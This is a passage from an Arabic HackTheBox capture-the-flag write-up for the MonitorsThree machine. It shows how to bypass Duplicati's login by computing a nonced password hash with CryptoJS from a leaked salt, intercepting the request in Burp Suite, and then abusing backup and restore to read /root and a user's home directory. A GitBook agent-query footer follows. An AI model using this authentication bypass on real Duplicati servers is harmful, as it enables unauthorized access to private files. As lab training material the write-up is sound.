لتوليد كلمة المرور النهائية، تم تنفيذ الخطوات التالية في وحدة تحكم المتصفح:

**تعريف عبارة المرور المملحة**:

```javascript
var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a';
```

### اعتراض الطلب باستخدام Burp Suite

نعترض الطلب ونرسله إلى do intercept -> answer لهذا الطلب ثم نضغط forward.

<figure><img src="/files/6c5fbf5755833877bc85c7ed9a9f27fababe7193" alt=""><figcaption></figcaption></figure>

تم اعتراض استعلام HTTP باستخدام **Burp Suite** ما كشف المعلومات التالية:

<figure><img src="/files/c0786b200b04c0e57c930ebac61ec208c6b4d544" alt=""><figcaption></figcaption></figure>

```json
{
  "Status": "OK",
  "Nonce": "ktDnBGnG6jQzWjtajOoaS5Z+8z6z+aI2KA1p7lMTKWk=",
  "Salt": "xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I="
}
```

يتم تحليل الحقل `الملح` يقابل القيمة `server-passphrase-salt` المستخرجة من قاعدة البيانات

**حساب كلمة المرور غير المتكررة (Nonce):**

{% code overflow="wrap" %}

```javascript
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('dRRA/DU+SN0RiGJJR+xk3ifqZNFA67+VwTCC1PIK3R0=') + saltedpwd)).toString(CryptoJS.enc.Base64);
```

{% endcode %}

**عرض النتيجة**:

```javascript
console.log(noncedpwd);
```

<figure><img src="/files/73c210ffcfa7fb48103fc7fbf84506ebfd9a61f9" alt=""><figcaption></figcaption></figure>

كلمة المرور المُولّدة (`noncedpwd`) هي:

`bx8guiLaAag+uz6Ud+HRnu9mAb/kmzQB37Ht6e8WisA=`

#### إدخال كلمة المرور وتشغيل العملية

1. انسخ والصق كلمة المرور المحسوبة.
2. استخدم **Ctrl + U** لترميزها بصيغة URL.

<figure><img src="/files/16f01fb63ebbad0e3d53fb4e40ecad70827a6a39" alt=""><figcaption></figcaption></figure>

3. انقر على **تمرير** مرة أخرى لإكمال العملية.

### قراءة الملفات من نسخة Duplicati الاحتياطية

<figure><img src="/files/7513e1a670b9111be4ff86991c2cf310cf30050c" alt=""><figcaption></figcaption></figure>

الآن بعد أن حصلنا على الوصول إلى **لوحة إدارة Duplicati**، سننشئ نسخة احتياطية جديدة بهدف استخراج **SSH** المفتاح.

<figure><img src="/files/03026b7d5166f7dd7fe095cc517e45c3a4cdde2b" alt=""><figcaption></figcaption></figure>

**تحليل إعدادات Docker**/ من خلال ملاحظة `docker-compose.yml` الملف، نجد أن الملفات مخزنة على **المصدر** دليل نظام المضيف، والمثبت داخل الحاوية.

<figure><img src="/files/cb119f1712c4133faf297fbc2dc40e8abf0783fd" alt="" width="541"><figcaption></figcaption></figure>

**اختيار دليل الهدف**/ لضمان الوصول إلى الملفات الحساسة، نحدد وجهة **backup** على هذا الدليل باختيار:

* **ملف المصدر**: `/source/home/marcus/`

<figure><img src="/files/c40fa5146508b3637c839139640644e04f45b9d5" alt="" width="563"><figcaption></figcaption></figure>

* **البيانات المصدرية:** `source/root/`

<figure><img src="/files/0adbb0674384c4abef8410ea6c4363d38ce64acd" alt=""><figcaption></figcaption></figure>

**إتمام الإعداد**

* احفظ الإعدادات.

<figure><img src="/files/e6e710ada99209472213161a2be4129cd31aa583" alt=""><figcaption></figcaption></figure>

* شغّل **حفظ** لاسترداد الملفات المستهدفة.

<figure><img src="/files/716aebff03194848cff0cea31838e282f8fdd7af" alt=""><figcaption></figcaption></figure>

### استخراج الملفات المحفوظة

بعد تنفيذ **backup**، يتم إنشاء ثلاثة أرشيفات ZIP.

<div data-full-width="true"><figure><img src="/files/596b59063fd4c7106d7764ae7b93b86bec067203" alt=""><figcaption></figcaption></figure></div>

* **الوصول إلى الملفات**
  * تفشل محاولة فتح الملفات مباشرة بسبب قيود الوصول.
  * ومع ذلك، عبر **Duplicati**، نستخدم **استعادة الملفات** الخيار لاسترداد المحتوى.

<figure><img src="/files/b8608b85ac4b195a50df0e6857ac45f819dfa69d" alt=""><figcaption></figcaption></figure>

**استعادة واستخراج**

* استخرج الملفات من النسخة الاحتياطية.

<figure><img src="/files/78fab10f45d795d84cdc2d36aab3584b4d6397bf" alt=""><figcaption></figcaption></figure>

اختيار المجلد **`/source/home/marcus/`** كمصدر للاستعادة.

<figure><img src="/files/42f9d31a1af7cfab5c88e312971d1d7d14d6cf7b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/213a2f594f01b652ea43f2a40932414d1c6ead8f" alt="" width="563"><figcaption></figcaption></figure>

### العلم root.txt :)

بعد الاستعادة، نستعرض الملفات ونكتشف **`root.txt`**!

<figure><img src="/files/1ff1597d503663f02e9e1e230c7958fbb5be740a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f3864b88e9b2703350faae41b2758c46b424a8bb" alt="" width="524"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-medium/monitorsthree-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
